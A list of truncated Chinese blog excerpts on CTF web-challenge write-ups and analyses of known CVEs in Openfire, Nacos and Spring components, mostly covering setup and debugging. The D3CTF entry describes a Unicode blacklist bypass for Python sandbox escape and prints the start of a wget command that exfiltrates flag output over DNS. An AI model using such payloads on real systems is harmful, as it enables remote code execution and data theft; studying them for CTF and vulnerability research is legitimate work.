2023春秋杯春季赛 qqcms复现
闲着无聊,发现phpstorm中还留有一个代码审计的题,当时比赛的时候没做出来,那么就复现一下
环境搭建直接在官网中下载源码:https://down.q-cms.cn/QCMS_V6.0.1_220515.zip
用phpstudy搭建,web目录如下
然后创建一个数据库,导入sql文件,设置手机号以及密码就安装成功了
但是我不是在本机搭建的,就需要添加远程调试,phpstudy扩展开启xdebug,然后修改php.ini为:
12345678910111213[Xdebug]zend_extension=C:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dllxdebug.collect_params=1xdebug.collect_return=1xdebug.auto_trace=Onxdebug.trace_output_dir=C:/phpstudy_pro/Extensions/php_log/php7.3.4nts.xdebug.tracexdebug.profiler_enable=Onxdebug. ...
CVE-2023-32315 Openfire 身份认证绕过漏洞
Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器
Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果
官方通告:https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
影响版本:
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire < 4.7.5
环境搭建直接下载 openfire 4.7.4:https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4.tar.gz
然后解压,通过 ...
Nacos Jraft Hessian反序列化RCE分析
在Nacos 2.2.3版本中,修复了一个hessian反序列化漏洞
该漏洞主要是针对部分Jraft请求处理时,使用hessian进行反序列化未限制而造成的RCE漏洞
影响版本:
1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
2.0.0 <= Nacos < 2.2.3 任意模式启动均受到影响
漏洞分析看到漏洞修复:https://github.com/alibaba/nacos/pull/10542/filescom.alibaba.nacos.consistency.serialize.HessianSerializer
使用 NacosHessianSerializerFactory 代替了默认的 SerializerFactory,而这是一个白名单类,相当于从根源上解决了反序列化问题
继续看到其他改动可以发现
主要就是在onApply、onRequest方法会触发serializer.deserialize反序列化,对如下几个类做了修改:
12345com.alibaba.nacos.nami ...
Nacos身份认证绕过漏洞分析
在2023的ciscn初赛中有一道Nacos配合Spring Cloud Gateway RCE的题,其实非常简单就是:Nacos结合Spring Cloud Gateway RCE利用 ,然后配合CVE-2021-29441即可
其实近期还出现了一个认证漏洞,修复版本:https://github.com/alibaba/nacos/releases/tag/2.2.0.1
在该版本中移除了默认鉴权插件中依赖的nacos.core.auth.plugin.nacos.token.secret.key默认值,来简单看一下
环境搭建下载存在漏洞的版本:https://github.com/alibaba/nacos/releases/tag/2.2.0解压后执行
12345cd nacos/bin#启动服务器bash startup.sh -m standalone#关闭服务器bash shutdown.sh
随后访问ip:8848/nacos即可访问到web服务
默认账号密码是nacos、nacos
修改startup.sh添加JVM远程调试
即可远程调试代码
漏洞分析官方鉴权方面的 ...
NEEPU Sec 2023 公开赛web题复现
抽空参加了一下东北电力大学的公开赛,题出的挺好的,遂专门写一篇文章,主要是学习一下java题
Cute Cirno访问/r3aDF1le?filename=可以任意文件读取,发现filename传空时会报错
给出了源码路径,其实也可以读取/proc/self/cmdline获取路径
CuteCirno.py:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from flask import Flask, request, session, render_template, render_template_stringimport os, base64from NeepuFile import neepu_filesCuteCirno = Flask(__name__, static_url_path='/static', static_ ...
CVE-2022-22965 Spring4Shell
继续看看最近的Spring框架漏洞,非常有名的Spring4Shell
官方通告:https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
环境搭建使用github上的docker项目:https://github.com/reznok/Spring4Shell-POC
修改Dockerfile进行换源,debian各个版本的阿里镜像:https://developer.aliyun.com/mirror/debian
添加我们的远程调试:
1ENV JAVA_TOOL_OPTIONS -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:10087
最后开启docker,docker build . -t spring4shell && docker run -p 8080:8080 -p 10087:10087 spring4shell
漏洞分析这个漏洞基于CVE-2010-1622,是该漏洞的补丁绕 ...
2023 AntCTF x D3CTF web题部分wp
记录一下2023 AntCTF x D3CTF的做题思路,并复现一下没做出来的题
Escape Plan题目描述:
The success for a break out depends on three things.
layout: black_char
routine: Python tricks
help: Run /readflag to get flag, dns tunneling may help you
题目给出了源码
可以看到就是一个黑名单的绕过技巧,这里找到文章:Python 沙箱逃逸的通解探索之路题目环境是python3.8,支持了 Unicode 变量名,那么就可以利用特殊字符来绕过关键字
1eval == ᵉval
并且数字也是可以使用 Unicode 绕的,文章中使用的是:https://www.fileformat.info/info/unicode/category/Nd/list.htm
无回显,使用dnslog外带数据
1__import__('os').popen('wget `/readflag ...
CVE-2022-22963 SpringCloud Function SpEL RCE
Spring Cloud Function 是基于 Spring Boot 的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的spring.cloud.function.routing-expression参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码
官方通告:https://spring.io/security/cve-2022-22963
影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
Spring Cloud Function <= 3.2.2
不受影响版本:
Spring Cloud Function 3.1.7
Spring Cloud Function 3.2.3
环境搭建可以借助Spring Initiali ...
CVE-2022-22947 SpringCloud GateWay SpEL RCE
Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式
Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求
官方公告:https://tanzu.vmware.com/security/cve-2022-22947
漏洞影响版本:
Spring Cloud Gateway 3.1.0
Spring Cloud Gateway 3.0.0 - 3.0.6
Spring Cloud Gateway 其它不支持的、已不再更新的版本
下载存在漏洞的版本v3.1.0:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0
漏洞 ...
SpEL表达式注入漏洞学习
认识SpELSpring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中
SpEL使用#{}作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等这里需要注意#{}和${}的区别:
#{}就是SpEL的定界符,用于指明内容为SpEL表达式并执行
${}主要用于加载外部属性文件中的值
两者可以混合使用,但是必须#{}在外面,${}在里面,如#{'${}'},注意单引号是字符串类型才添加的
实验环境:https://github.com/LandGrey/SpringBootVulExpl ...